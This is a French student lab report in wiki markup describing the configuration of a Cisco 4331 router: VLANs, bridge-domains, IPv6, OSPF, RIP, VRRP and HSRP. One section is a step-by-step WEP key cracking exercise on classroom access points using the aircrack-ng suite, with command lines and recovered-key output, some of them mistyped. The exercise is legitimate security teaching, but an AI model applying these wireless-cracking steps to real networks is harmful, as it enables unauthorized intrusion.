 | Configuration OSPF - Configuration locale IPv6 - Configuration RIP - Configuration VRRP - Cassage de clé WEP&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 6 (17/11 - additionnel)&lt;br /&gt;
 | Protocole HSRP - Cassage de clé WPA - Configuration DNS - Securisation de site par SSL - Securisation de DNS par DNSSEC - LVM&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 7 (28/11)&lt;br /&gt;
 | RAID5 - Cryptage de données&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 8 (additionnel - 7-8/12/2016)&lt;br /&gt;
 | Modification configuration routeur pour prise en charge Wifi - Sécurisation Wifi par WPA-EAP&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 9 (12/12)&lt;br /&gt;
 | Configuration DHCP - PCBX&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance additionnelle (14/12/2016)&lt;br /&gt;
 | Configuration PCBX&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
====Travail réalisé la 1ère séance ====&lt;br /&gt;
&lt;br /&gt;
Pour cette première séance nous avons d'abord installé la machine virtuelle Xen grâce à la commande :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
xen-create-image --hostname=Flash --ip=193.48.57.165 --netmask=255.255.255.240 gateway=193.48.57.171 &lt;br /&gt;
--dir=/usr/local/xen --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie --passwd&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ainsi, nous obtenons ce résultat:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  Flash&lt;br /&gt;
Distribution    :  jessie&lt;br /&gt;
MAC Address     :  00:16:3E:49:8F:E5&lt;br /&gt;
IP Address(es)  :  193.48.57.165 &lt;br /&gt;
RSA Fingerprint :  5c:89:1c:49:cf:d1:a0:a3:9b:ff:0c:d1:f7:33:82:db&lt;br /&gt;
Root Password   :  N/A&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Travail réalisé la 2e et 3e séance (2 séances) ====&lt;br /&gt;
Durant cette semaine, nous avons réalisés la configuration locale du routeur (configuration des VLANs). &amp;lt;br /&amp;gt;&lt;br /&gt;
Comme le 4331 est une nouvelle génération de routeur encore non utilisée en TP de PRA, nous devons apprendre comment l'utiliser.&amp;lt;br /&amp;gt;&lt;br /&gt;
=====Configuration générale=====&lt;br /&gt;
Communication: '''Série 9800 Bauds 8 bits sans parité sans contrôle de flux'''.&amp;lt;br /&amp;gt;&lt;br /&gt;
Lors de sa première mise en route, nous devons effectuer sa configuration générale :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; hostname cisco config hostname&lt;br /&gt;
 enable secret reverse &amp;lt;/pre&amp;gt;&lt;br /&gt;
Puis ensuite, nous pouvons passer à la configuration des VALNs.&lt;br /&gt;
=====Configuration des VLANs =====&lt;br /&gt;
Nous avons 12 VLANs à configurer :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; 11 VLANs (2-11) : VLAN correspondant aux différents groupes.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; 1 VLAN (12) : VLAN des Machines virtuelles. Permet la communication entre Cordouan et les Commutateurs&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; 1 VLAN (13) : VLAN d'interconnexion. Permet la communication entre le routeur local et le routeur de l'école&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&lt;br /&gt;
Sur l'interface physique du 4331, il y a 3 interfaces:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Gi 0/0/0 : disponible en cuivre et en fibre&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Gi 0/0/1: disponible en cuivre&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Gi 0/0/2: disponible en fibre&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous devons connecter notre routeur aux 2 commutateurs 6006 prévus dans l'architecture du TP. Pour cela, il faut que les 2 commutateurs aient les mêmes informations. Pour cela, nous devons créer des '''bridge-domain'''. Des bridge-domain permettent de rassembler 2 sous interfaces de 2 interfaces différentes pour qu'elles aient la même IP. L'interface principale n'aura pas d'adresse IP, les sous interfaces non plus, l'adresse IP sera placé sur le bridge-domain.&amp;lt;br /&amp;gt;&lt;br /&gt;
Exemple: '''VLAN2 : Gi 0/0/0.2 et Gi 0/0/1.2 seront dans le même bridge-domain 2'''&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les 4331 étant une nouvelle génération de routeur encore non testée à l'école, il fallait apprendre à s'en servir.&amp;lt;br /&amp;gt;&lt;br /&gt;
La plupart des commandes CISCO de base restent inchangées. Cependant, la création des sous interfaces a changée. Avant, nous devions créer des interfaces comme suit:&lt;br /&gt;
&amp;lt;pre&amp;gt; interface GigabitEthernet 0/0/0.X &amp;lt;/pre&amp;gt;&lt;br /&gt;
Avec le nouvel IOS (IOS ISR), nous ne pouvons pas créer des sous interfaces comme ci-dessus dans le but de les mettre dans un bridge.&lt;br /&gt;
Nous devons passer par une nouvelle commande qui s'appelle '''service instance''' :&lt;br /&gt;
&amp;lt;pre&amp;gt; int gi 0/0/0&lt;br /&gt;
 service instance &amp;lt;n°VLAN&amp;gt; ethernet &amp;lt;/pre&amp;gt;&lt;br /&gt;
Ainsi, nous avons la sous interface numéro 2 de l'interface principale 0/0/0.&amp;lt;br /&amp;gt;&lt;br /&gt;
Nous pouvons alors créer nous sous interfaces:&lt;br /&gt;
&amp;lt;pre&amp;gt; int gi0/0/0&lt;br /&gt;
  no ip address&lt;br /&gt;
  negociation auto&lt;br /&gt;
  service instance 2 ethernet&lt;br /&gt;
    encapsulation dot1q 2&lt;br /&gt;
    bridge-domain 2&lt;br /&gt;
&lt;br /&gt;
  service instance 3 ethernet&lt;br /&gt;
    encapsulation dot1q 3&lt;br /&gt;
    bridge-domain 3&lt;br /&gt;
...&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; int gi0/0/1&lt;br /&gt;
  no ip address&lt;br /&gt;
  negociation auto&lt;br /&gt;
  service instance 2 ethernet&lt;br /&gt;
    encapsulation dot1q 2&lt;br /&gt;
    bridge-domain 2&lt;br /&gt;
...&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ainsi, nos sous interfaces sont crées et sont placés dans les différents bridge domain.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Configuration des bridge-domain=====&lt;br /&gt;
Afin d'allouer des IP aux différents bridge domain, il faut prévenir le routeur que nous utilisons des bridge-domain:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; bridge irb &amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous devons préciser quel protocole nous devons utiliser et si les adresses IP des bridge domain seront des adresses routées :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; bridge 2 protocol ieee&lt;br /&gt;
 bridge 2 route ip&amp;lt;/pre&amp;gt;&lt;br /&gt;
Enfin, nous pouvons allouer des IP aux différents bridge domain :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;int BDI2&lt;br /&gt;
  ip address 10.60.2.1 255.255.255.0&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et nous répétons ces opérations pour tous les bridge-domain.&amp;lt;br /&amp;gt;&lt;br /&gt;
Afin de tester si notre configuration locale est correcte, nous devons racker notre routeur, le connecter à un des 6006, puis connecter le 6006 à Cordouan (groupe BONDING). Ainsi, nous pourrons voir si nous pouvons ping notre routeur depuis notre VM.&lt;br /&gt;
&lt;br /&gt;
====Travail réalisé la 4e séance====&lt;br /&gt;
=====Test 1=====&lt;br /&gt;
Cette semaine, nous avons testés la configuration locale de notre routeur. Nous avons donc tentés de ping le routeur depuis notre VM. &amp;lt;br /&amp;gt;&lt;br /&gt;
Pour tester, nous avons besoin d'un port disponible sur CORDOUAN qui est dans le bridge IMA5sc.&amp;lt;br /&amp;gt;&lt;br /&gt;
Après des essais laborieux, nous décidons donc de regarder les adresses MAC des ports afin de les rassembler. Si 4 ports ont le même radical MAC, c'est qu'ils font partis d'un groupe de 4. Nous avons donc choisis '''eth4'''.&amp;lt;br /&amp;gt;&lt;br /&gt;
Ensuite, il fallait trouver le port physique correspondant a eth4. '''Grâce au fichier /etc/udev/rules.d/70-persistence-net.rules''', on peut voir l'association du port physique à l'interface. Voici l'extrait qui nous intéresse: &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;# PCI device 0x14e4:0x1657 (tg3)&lt;br /&gt;
SUBSYSTEM==&amp;quot;net&amp;quot;, ACTION==&amp;quot;add&amp;quot;, DRIVERS==&amp;quot;?*&amp;quot;, ATTR{address}==&amp;quot;00:0a:f7:54:36:40&amp;quot;, ATTR{dev_id}==&amp;quot;0x0&amp;quot;, ATTR{type}==&amp;quot;1&amp;quot;, KERNEL==&amp;quot;eth*&amp;quot;, NAME=&amp;quot;eth4&amp;quot;&lt;br /&gt;
SUBSYSTEM==&amp;quot;net&amp;quot;, ACTION==&amp;quot;add&amp;quot;, DRIVERS==&amp;quot;?*&amp;quot;, ATTR{address}==&amp;quot;00:0a:f7:54:36:41&amp;quot;, ATTR{dev_id}==&amp;quot;0x0&amp;quot;, ATTR{type}==&amp;quot;1&amp;quot;, KERNEL==&amp;quot;eth*&amp;quot;, NAME=&amp;quot;eth5&amp;quot;&lt;br /&gt;
SUBSYSTEM==&amp;quot;net&amp;quot;, ACTION==&amp;quot;add&amp;quot;, DRIVERS==&amp;quot;?*&amp;quot;, ATTR{address}==&amp;quot;00:0a:f7:54:36:42&amp;quot;, ATTR{dev_id}==&amp;quot;0x0&amp;quot;, ATTR{type}==&amp;quot;1&amp;quot;, KERNEL==&amp;quot;eth*&amp;quot;, NAME=&amp;quot;eth6&amp;quot;&lt;br /&gt;
SUBSYSTEM==&amp;quot;net&amp;quot;, ACTION==&amp;quot;add&amp;quot;, DRIVERS==&amp;quot;?*&amp;quot;, ATTR{address}==&amp;quot;00:0a:f7:54:36:43&amp;quot;, ATTR{dev_id}==&amp;quot;0x0&amp;quot;, ATTR{type}==&amp;quot;1&amp;quot;, KERNEL==&amp;quot;eth*&amp;quot;, NAME=&amp;quot;eth7&amp;quot;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
On voit bien que eth4 est dans un groupe de 4 ports, ce qui restreint nos choix. Ensuite, on sait que c'est le plus petit des 4 interfaces. Logiquement, ce sera le 1er du groupe.&amp;lt;br /&amp;gt;&lt;br /&gt;
On connecte donc ce port au commutateur sur un port qui appartient au VLAN des VM. On connecte ensuite notre routeur au commutateur via un port trunk.&amp;lt;br /&amp;gt;&lt;br /&gt;
'''Premier essai: FAIL'''&amp;lt;br /&amp;gt;&lt;br /&gt;
=====Test 2=====&lt;br /&gt;
Et là, c'est le drame ... On ne ping rien ...&amp;lt;br /&amp;gt;&lt;br /&gt;
On se demande donc d'où cela peut venir.&amp;lt;br /&amp;gt;&lt;br /&gt;
======Première cause possible : La configuration de CORDOUAN======&lt;br /&gt;
Peut-être que c'est CORDOUAN qui est mal configuré. On se place donc sur CORDOUAN, et grâce à la commande '''cdpr''' (Cisco Discovery Protocol Reporter), on peut demander au serveur de chercher ses voisins et d'avoir la configuration de la liaison avec ce voisin. Voici le résultat de cette commande:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;cdpr -d eth4&lt;br /&gt;
cdpr - Cisco Discovery Protocol Reporter&lt;br /&gt;
Version 2.4&lt;br /&gt;
Copyright (c) 2002-2010 - MonkeyMental.com&lt;br /&gt;
&lt;br /&gt;
Using Device: eth4&lt;br /&gt;
Warning opening device (eth4: no IPv4 address assigned)&lt;br /&gt;
Waiting for CDP advertisement:&lt;br /&gt;
(default config is to transmit CDP packets every 60 seconds)&lt;br /&gt;
Device ID&lt;br /&gt;
  value:  Switch_E306&lt;br /&gt;
Addresses&lt;br /&gt;
Port ID&lt;br /&gt;
  value:  GigabitEthernet4/13&amp;lt;/pre&amp;gt;&lt;br /&gt;
On voit bien que CORDOUAN détecte qu'il a une liaison avec le switch qui se trouve en E306 et qu'il est connecté via le port Gi4/13.&amp;lt;br /&amp;gt;&lt;br /&gt;
======Deuxième cause possible: Le commutateur======&lt;br /&gt;
Peut-être donc que c'est le commutateur qui est mal configuré. On se place donc sur le commutateur, et toujours grâce à la commande '''cdpr''', on peut demander au commutateur de trouver ses voisins. Le résultat de cette commande est la suivante: Le commutateur découvre bien notre routeur (cisco), et sait qu'il est connecté sur le port 4/47 (port trunk).&lt;br /&gt;
======Dernière cause possible:Le routeur======&lt;br /&gt;
On se dit donc que le problème vient du routeur...&amp;lt;br /&amp;gt;&lt;br /&gt;
On regarde donc la configuration du routeur, et Mr REDON nous demande pourquoi on n'a pas créé de VLAN. Les VLAN sont traduits par les service instance dans le nouvel IOS, mais peut-être que nous devons encore définir que les paquets venant/sortant de l'interface générale doivent être encapsulé/décapsulé en DOT1Q.&amp;lt;br /&amp;gt;&lt;br /&gt;
Après quelques recherches, une première solution a été de préciser sur l'interface des bridge-domain que les paquets étaient encapsulés en DOT1Q. Solution '''peu logique''' vu que l'encapsulation est déjà faite dans les service instance.&amp;lt;br /&amp;gt;&lt;br /&gt;
Après encore quelques recherches, une solution plausible est que '''le routeur ne sait pas qu'il faut dé-encapsuler les paquets venant d'un VLAN'''. Théoriquement, il n'enlèverait pas le tag associé à l'encapsulation DOT1Q.&amp;lt;br /&amp;gt;&lt;br /&gt;
Une commande cisco à associer à TOUTES les interfaces service instance permet de préciser qu'il faut supprimer le tag associé à l'encapsulation:&lt;br /&gt;
&amp;lt;pre&amp;gt;rewrite ingress tag pop 1 symmetric&amp;lt;/pre&amp;gt;&lt;br /&gt;
Une fois cette commande appliquée à tous les services, nous pouvons effectuer un test préalable : '''Nous connectons un eeePC au commutateur via un port associé au VLAN des VM. L'eeePC serait muni d'une IP dans le réseau des VM.'''&amp;lt;br /&amp;gt;&lt;br /&gt;
Résultat '''OK'''&amp;lt;br /&amp;gt;&lt;br /&gt;
Nous pouvons donc tenter de ping le routeur depuis la machine virtuelle :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;ping 193.48.57.171&lt;br /&gt;
PING 193.48.57.171 (193.48.57.171) 56(84) bytes of data.&lt;br /&gt;
64 bytes from 193.48.57.171: icmp_seq=1 ttl=255 time=0.360 ms&lt;br /&gt;
64 bytes from 193.48.57.171: icmp_seq=2 ttl=255 time=0.271 ms&lt;br /&gt;
^C&lt;br /&gt;
--- 193.48.57.171 ping statistics ---&lt;br /&gt;
2 packets transmitted, 2 received, 0% packet loss, time 999ms&lt;br /&gt;
rtt min/avg/max/mdev = 0.271/0.315/0.360/0.047 ms&amp;lt;/pre&amp;gt;&lt;br /&gt;
Notre configuration locale est donc maintenant achevée. Nous pouvons passer à la configuration de l'interconnexion ipv4 et ipv6 de l'école.&lt;br /&gt;
&lt;br /&gt;
====Travail réalisé la 5e séance====&lt;br /&gt;
=====Configuration IPv6=====&lt;br /&gt;
Nous avons donc pu commencer la configuration IPv6 de notre routeur.&amp;lt;br /&amp;gt;&lt;br /&gt;
Chaque bridge-domain aura son adresse IP dans le réseau IPv6 de l'école, avec un préfixe débutant à 2001:660:4401:60b0::/64.&amp;lt;br /&amp;gt;&lt;br /&gt;
La configuration est la suivante, pour chaque BDI:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;cisco(config)#int BDI6                                                          &lt;br /&gt;
cisco(config-if)#ipv6 address 2001:660:4401:60b4::/64 eui-64                    &lt;br /&gt;
cisco(config-if)#ipv6 nd prefix 2001:660:4401:60b4::/64 1000 900                &lt;br /&gt;
cisco(config-if)#ipv6 nd router-preference high                                 &lt;br /&gt;
cisco(config-if)#ipv6 enable&amp;lt;/pre&amp;gt;&lt;br /&gt;
=====Configuration OSPF (IPv4)=====&lt;br /&gt;
Dès notre arrivée, Mr.REDON nous a dit que, pour booster le TP, il avait effectué lui-même la configuration OSPF de notre routeur. La voici:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;router ospf 1&lt;br /&gt;
 router-id 10.60.2.1&lt;br /&gt;
 summary-address 10.60.0.0 255.255.0.0&lt;br /&gt;
 summary-address 193.48.57.160 255.255.255.240&lt;br /&gt;
 redistribute connected metric 30 subnets&lt;br /&gt;
 network 192.168.222.0 0.0.0.7 area 1&amp;lt;/pre&amp;gt;&lt;br /&gt;
=====Configuration RIP (IPv6)=====&lt;br /&gt;
Le protocole RIPv6 est une stratégie de routage pour IPv6. Ce protocole est configuré pour le BDI130 (correspondant au VLAN130 d'interconnexion des routeurs de l'école). La configuration de RIP est la suivante:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;ipv6 router rip tpima5sc&lt;br /&gt;
 redistribute connected metric 1&lt;br /&gt;
 redistribute static metric 1&lt;br /&gt;
 redistribute rip 1 metric 1&amp;lt;/pre&amp;gt;&lt;br /&gt;
La prise en compte du protocole RIP dans la BDI130 est la suivante:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;interface BDI130&lt;br /&gt;
 ip address 192.168.222.1 255.255.255.248&lt;br /&gt;
 ipv6 address 2001:660:4401:60AA::/64 eui-64&lt;br /&gt;
 ipv6 enable&lt;br /&gt;
 ipv6 nd prefix 2001:660:4401:60AA::/64 1000 900&lt;br /&gt;
 ipv6 nd router-preference High&lt;br /&gt;
 ipv6 rip tpima5sc enable&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour confirmer notre résultat, nous regardons la table de routage IPv6:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; cisco#sh ipv6 route&lt;br /&gt;
IPv6 Routing Table - default - 65 entries&lt;br /&gt;
Codes: C - Connected, L - Local, S - Static, U - Per-user Static route&lt;br /&gt;
       B - BGP, R - RIP, I1 - ISIS L1, I2 - ISIS L2&lt;br /&gt;
       IA - ISIS interarea, IS - ISIS summary, D - EIGRP, EX - EIGRP external&lt;br /&gt;
       ND - ND Default, NDp - ND Prefix, DCE - Destination, NDr - Redirect&lt;br /&gt;
       O - OSPF Intra, OI - OSPF Inter, OE1 - OSPF ext 1, OE2 - OSPF ext 2&lt;br /&gt;
       ON1 - OSPF NSSA ext 1, ON2 - OSPF NSSA ext 2, a - Application&lt;br /&gt;
R   ::/0 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:60::/64 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:6000::/56 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:6002::/64 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:6003::/64 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:6004::/64 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:6005::/64 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:6006::/64 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&amp;lt;/pre&amp;gt;&lt;br /&gt;
Notre routeur détecte les routeurs de l'école, notre configuration est donc achevée.&amp;lt;br /&amp;gt;&lt;br /&gt;
=====Configuration VRRP=====&lt;br /&gt;
Le VRRP est un protocole de redondance. Une adresse IP virtuelle (IP flottante) est montée sur 1 des 2 routeurs. Si le routeur sur laquelle est montée l'IP flottante tombe, l'IP est montée sur l'autre routeur. De plus, les machines pourront envoyer les paquets vers l'adresse IP virtuelle, et le VRRP dispatchera les paquets entre les 2 routeurs.&amp;lt;br /&amp;gt;&lt;br /&gt;
Voici la configuration VRRP de notre routeur:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;interface BDI2&lt;br /&gt;
 ip address 10.60.2.1 255.255.255.0&lt;br /&gt;
 ipv6 address 2001:660:4401:60B0::/64 eui-64&lt;br /&gt;
 ipv6 enable&lt;br /&gt;
 ipv6 nd prefix 2001:660:4401:60B0::/64 1000 900&lt;br /&gt;
 ipv6 nd router-preference High&lt;br /&gt;
 vrrp 1 ip 10.60.2.3&lt;br /&gt;
 vrrp 1 priority 110&amp;lt;/pre&amp;gt;&lt;br /&gt;
10.60.X.1 est l'espace des adresses IP de notre routeur (4331), 10.60.X.2 est l'espace des adresses IP du routeur 3560E, donc 10.60.X.3 est l'espace des adresses IP flottantes, X représente le numéro du BDI.&amp;lt;br /&amp;gt;&lt;br /&gt;
Nous pouvons voir si notre configuration VRRP est effective : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;cisco#sh vrrp&lt;br /&gt;
BDI12 - Group 1  &lt;br /&gt;
  State is Master&lt;br /&gt;
  Virtual IP address is 193.48.57.173&lt;br /&gt;
  Virtual MAC address is 0000.5e00.0101&lt;br /&gt;
  Advertisement interval is 1.000 sec&lt;br /&gt;
  Preemption enabled&lt;br /&gt;
  Priority is 110 &lt;br /&gt;
  Master Router is 193.48.57.171 (local), priority is 110 &lt;br /&gt;
  Master Advertisement interval is 1.000 sec&lt;br /&gt;
  Master Down interval is 3.570 sec&lt;br /&gt;
&lt;br /&gt;
BDI2 - Group 1  &lt;br /&gt;
  State is Master&lt;br /&gt;
  Virtual IP address is 10.60.2.3&lt;br /&gt;
  Virtual MAC address is 0000.5e00.0101&lt;br /&gt;
  Advertisement interval is 1.000 sec&lt;br /&gt;
  Preemption enabled&lt;br /&gt;
  Priority is 110 &lt;br /&gt;
  Master Router is 10.60.2.1 (local), priority is 110 &lt;br /&gt;
  Master Advertisement interval is 1.000 sec&lt;br /&gt;
  Master Down interval is 3.570 sec&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cependant, même si notre configuration VRRP est bonne, nous n'arrivons pas à ping 193.48.57.173, qui représente l'adresse IP virtuelle montée sur le bridge-domain des VM.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Craquage de clé WEP=====&lt;br /&gt;
On bascule d’abord la carte en mode monitor : &lt;br /&gt;
&amp;lt;pre&amp;gt; airmon-ng start xxxxxxxx  &amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite on scan tous les réseaux wifi captés par cette même carte :&lt;br /&gt;
&amp;lt;pre&amp;gt; airodump-ng –encrypt wep wlan 0 &amp;lt;/pre&amp;gt;&lt;br /&gt;
On obtient :&lt;br /&gt;
&amp;lt;pre&amp;gt; &lt;br /&gt;
 CH 13 ][ Elapsed: 4 s ][ 2016-03-08 10:32                                         &lt;br /&gt;
                                                                                                                  &lt;br /&gt;
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
                                                                                                                  &lt;br /&gt;
 44:AD:D9:5F:87:00  -44        2        0    0  11  54e. WEP  WEP         Wolverine                               &lt;br /&gt;
 04:DA:D2:9C:50:53  -66        2        0    0  13  54e. WEP  WEP         cracotte04                              &lt;br /&gt;
 04:DA:D2:9C:50:55  -70        2       91   35  13  54e. WEP  WEP         cracotte06                              &lt;br /&gt;
 04:DA:D2:9C:50:51  -69        4       33   13  13  54e. WEP  WEP         cracotte02                              &lt;br /&gt;
 04:DA:D2:9C:50:57  -67        3       44   19  13  54e. WEP  WEP         cracotte08                              &lt;br /&gt;
 04:DA:D2:9C:50:56  -69        2       38   11  13  54e. WEP  WEP         cracotte07                              &lt;br /&gt;
 04:DA:D2:9C:50:54  -68        2       37   14  13  54e. WEP  WEP         cracotte05                              &lt;br /&gt;
 04:DA:D2:9C:50:58  -70        2      175   70  13  54e. WEP  WEP         cracotte09                              &lt;br /&gt;
 04:DA:D2:9C:50:50  -68        0      142   52  13  -1   WEP  WEP         &amp;lt;length:  0&amp;gt;                            &lt;br /&gt;
 04:DA:D2:9C:50:52  -70        2      171   64  13  54e. WEP  WEP         cracotte03                              &lt;br /&gt;
                                                                                                                  &lt;br /&gt;
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                         &lt;br /&gt;
                                                                                                                   &lt;br /&gt;
 04:DA:D2:9C:50:55  00:0F:B5:92:23:6B  -66    0 - 9e  1160       50                                                &lt;br /&gt;
 04:DA:D2:9C:50:51  00:0F:B5:92:24:51  -62    0 -48e    34        7                                                &lt;br /&gt;
 04:DA:D2:9C:50:57  00:0F:B5:92:22:66  -64    0 - 6e    31        6                                                &lt;br /&gt;
 04:DA:D2:9C:50:56  00:0F:B5:92:23:71  -66    0 -48e    60        6                                                &lt;br /&gt;
 04:DA:D2:9C:50:54  00:0F:B5:92:23:74  -70    0 -24e    52       11                                                &lt;br /&gt;
 04:DA:D2:9C:50:58  00:0F:B5:92:23:69  -62    0 -48e    12      140  &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ici nous avons choisi cracotte06 comme wifi cible. On récupère donc son BSSID : 04 :DA :D2 :9C :50 :55 sur le channel 13&amp;lt;br /&amp;gt;&lt;br /&gt;
On surveille uniquement notre cible pour s'assurer qu'une machine s'y connecte bien :&lt;br /&gt;
&amp;lt;pre&amp;gt; airodump-ng –w out –c 13 –bssid 04 :DA :D2 :9C :50 :55 wlan0 &amp;lt;/pre&amp;gt; &amp;lt;br /&amp;gt;&lt;br /&gt;
Pour le craquage, il faut au préalable surchargé de requête ARP le réseau cible pour récupérer un maximum de trame d’échanges.&lt;br /&gt;
&amp;lt;pre&amp;gt; aireplay-ng -3 –e cracotte06 –a 04 :DA :D2 :9C :50 :55 –b 04 :DA :D2 :9C :50 :55 –h 00:0F:B5:92:23:6B –x 1000 –n out-ox.cap wlan0 &amp;lt;/pre&amp;gt;&lt;br /&gt;
Une fois un nombre de trame récupéré assez conséquent, on lance l’utilitaire : &amp;lt;pre&amp;gt;aircarck-ng out_ox.cap&amp;lt;/pre&amp;gt; avec out_ox.cap le fichier de sauvegarde contenant toutes les trames ARP récupérées. &lt;br /&gt;
&lt;br /&gt;
On a alors réussi notre craquage au bout de quelque minutes :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
  Aircrack-ng 1.2 beta3&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                 [00:00:01] Tested 785 keys (got 1349085 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/  2   EE(1862400) 75(1396736) DB(1392128) FF(1388544) 50(1387520) &lt;br /&gt;
    1    1/  4   DD(1419264) 1B(1397504) 2C(1392128) 54(1387776) 26(1385728) &lt;br /&gt;
    2   47/  2   DB(1365760) 38(1364736) 00(1364480) 22(1364480) 82(1364480) &lt;br /&gt;
    3    1/  2   26(1407488) 2C(1390592) 65(1387520) F0(1387520) FE(1387520) &lt;br /&gt;
    4    4/  4   F6(1383168) CD(1382656) 7E(1381376) F0(1380096) 58(1379840) &lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:44:44:44 ] &lt;br /&gt;
	Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Travail réalisé la 6e séance (additionnel) ====&lt;br /&gt;
=====Configuration HSRP=====&lt;br /&gt;
Le VRRP n'était pas compatible sur le routeur du groupe 6 (3560E) à cause de la trop faible version de 'IOS Cisco. Du coup, il nous a été demandé de mettre en place le protocole en dessous de VRRP, HSRP.&amp;lt;br /&amp;gt;&lt;br /&gt;
Le protocole HSRP fonctionne comme le VRRP, et s'implémente, par BDI, comme suit:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;Sstandby 1 ip 10.60.X.3&lt;br /&gt;
standby 1 preempt&lt;br /&gt;
standby 1 priority 100&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il fallait aussi que notre routeur soit connecté au 2e commutateur via une liaison fibre en mode trunk. Ainsi, nous pouvons voir, dans ce qui suit, que le routeur maitre est le routeur 3560E, et que nous sommes en standby !&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;BDI2 - Group 1 (version 2)&lt;br /&gt;
  State is Standby&lt;br /&gt;
    7 state changes, last state change 00:01:16&lt;br /&gt;
  Virtual IP address is 10.60.2.3&lt;br /&gt;
  Active virtual MAC address is 0000.0c9f.f001 (MAC Not In Use)&lt;br /&gt;
    Local virtual MAC address is 0000.0c9f.f001 (v2 default)&lt;br /&gt;
  Hello time 3 sec, hold time 10 sec&lt;br /&gt;
    Next hello sent in 0.128 secs&lt;br /&gt;
  Preemption enabled&lt;br /&gt;
